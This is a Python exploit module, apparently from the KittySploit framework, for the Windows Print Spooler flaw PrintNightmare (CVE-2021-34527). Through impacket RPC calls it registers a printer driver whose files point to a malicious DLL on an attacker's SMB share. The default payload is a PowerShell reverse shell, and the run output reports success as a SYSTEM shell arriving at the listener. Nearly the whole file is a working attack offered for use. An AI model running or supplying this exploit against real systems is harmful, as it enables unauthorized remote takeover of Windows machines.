Windows Print Spooler RCE (PrintNightmare CVE-2021-34527)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Windows Print Spooler RCE (PrintNightmare CVE-2021-34527)."""

from kittysploit import *
from lib.protocols.smb.smb_scanner_client import Smb_scanner_client


class Module(Exploit, Smb_scanner_client):
    __info__ = {
        'name': 'Windows Print Spooler RCE (PrintNightmare CVE-2021-34527)',
        'description': (
            'Exploits CVE-2021-34527 (PrintNightmare): abuses MS-RPRN RpcAddPrinterDriverEx '
            'to register a remote printer driver pointing at an attacker-controlled UNC DLL, '
            'executing code as SYSTEM when the Print Spooler service processes the install.'
        ),
        'author': ['KittySploit Team', 'cube0x0'],
        'cve': ['CVE-2021-34527', 'CVE-2021-1675'],
        'platform': Platform.WINDOWS,
        'arch': [Arch.X86, Arch.X64],
        'payload': {
            'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp',
            'platform': Platform.WINDOWS,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-34527',
            'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527',
        ],
        'tags': ['windows', 'smb', 'spooler', 'printnightmare', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [],
            },
        },
    }

    share_host = OptString('', 'Attacker host serving the malicious DLL (IP or DNS)', required=True)
    share_name = OptString('share', 'SMB share name hosting the DLL', required=False)
    dll_name = OptString('payload.dll', 'Malicious DLL filename on the share', required=False)
    driver_name = OptString('', 'Printer driver name (auto-generated when empty)', required=False)
    environment = OptString(
        'Windows x64',
        'Driver environment string (Windows x64 / Windows NT x86)',
        required=False,
        advanced=True,
    )
    cleanup = OptBool(True, 'Remove injected driver after exploit attempt', required=False, advanced=True)

    _APD_FLAGS = None

    def _require_impacket(self):
        try:
            from impacket.dcerpc.v5 import rprn, transport  # noqa: F401
        except ImportError as exc:
            raise ImportError(
                'impacket is required for PrintNightmare. Install with: pip install impacket'
            ) from exc

    @staticmethod
    def _apd_flags():
        from impacket.dcerpc.v5 import rprn
        return rprn.APD_INSTALL_WARNED_DRIVER | rprn.APD_COPY_ALL_FILES

    def _unc_path(self) -> str:
        host = str(self.share_host or '').strip().strip('\\')
        share = str(self.share_name or 'share').strip().strip('\\')
        dll = str(self.dll_name or 'payload.dll').strip()
        return f'\\\\{host}\\{share}\\{dll}'

    def _connect_spoolss(self):
        from impacket.dcerpc.v5 import rprn, transport

        host = self._host()
        string_binding = rf'ncacn_np:{host}[\pipe\spoolss]'
        rpctransport = transport.DCERPCTransportFactory(string_binding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(rprn.MSRPC_UUID_SPNR)
        return dce

    def _spooler_running(self) -> tuple[bool, str]:
        try:
            dce = self._connect_spoolss()
            dce.disconnect()
            return True, 'Spoolss RPC pipe reachable'
        except Exception as exc:
            return False, f'Spoolss RPC failed: {exc}'

    def _build_driver_container(self, driver_name: str, unc: str):
        from impacket.dcerpc.v5 import rprn

        info = rprn.DRIVER_INFO_2()
        info.pName = f'{driver_name}\x00'
        info.pEnvironment = f'{str(self.environment or "Windows x64")}\x00'
        info.pDriverPath = f'{unc}\x00'
        info.pDataFile = f'{unc}\x00'
        info.pConfigFile = f'{unc}\x00'
        container = rprn.DRIVER_CONTAINER()
        container.Level = 2
        container.DriverInfo.Tag = 2
        container.DriverInfo.Data = info
        return container

    def _add_driver(self, dce, driver_name: str, unc: str):
        from impacket.dcerpc.v5 import rprn
        from impacket.dcerpc.v5.dtypes import NULL

        container = self._build_driver_container(driver_name, unc)
        return rprn.hRpcAddPrinterDriverEx(dce, NULL, container, self._apd_flags())

    def _remove_driver(self, dce, driver_name: str) -> None:
        from impacket.dcerpc.v5 import rprn
        from impacket.dcerpc.v5.dtypes import NULL

        try:
            rprn.hRpcDeletePrinterDriverEx(
                dce,
                NULL,
                f'{driver_name}\x00',
                f'{str(self.environment or "Windows x64")}\x00',
                self._apd_flags(),
            )
        except Exception:
            pass

    def check(self):
        host = self._host()
        if not host:
            return {'vulnerable': False, 'reason': 'target not set', 'confidence': 'low'}
        if not self.is_tcp_open(host=host, port=self._port()):
            return {'vulnerable': False, 'reason': 'SMB/RPC port closed', 'confidence': 'high'}
        try:
            self._require_impacket()
        except ImportError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'low'}
        ok, reason = self._spooler_running()
        return {
            'vulnerable': ok,
            'reason': reason,
            'confidence': 'high' if ok else 'medium',
        }

    def run(self):
        share = str(self.share_host or '').strip()
        if not share:
            print_error('Set share_host to the attacker SMB server hosting the malicious DLL')
            return False
        try:
            self._require_impacket()
        except ImportError as exc:
            print_error(str(exc))
            return False
        print_status('CVE-2021-34527 — PrintNightmare RpcAddPrinterDriverEx')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        import random
        import string
        driver = str(self.driver_name or '').strip() or 'KS' + ''.join(
            random.choices(string.ascii_letters + string.digits, k=8)
        )
        unc = self._unc_path()
        print_status(f'Installing driver "{driver}" from {unc}')
        print_info('Ensure SMB share is writable/readable and DLL triggers on driver load')
        dce = None
        try:
            dce = self._connect_spoolss()
            self._add_driver(dce, driver, unc)
            print_success('RpcAddPrinterDriverEx completed — check listener for SYSTEM shell')
            self.vulnerable()
            return True
        except Exception as exc:
            print_error(f'RpcAddPrinterDriverEx failed: {exc}')
            return False
        finally:
            if dce and bool(self.cleanup):
                self._remove_driver(dce, driver)
                try:
                    dce.disconnect()
                except Exception:
                    pass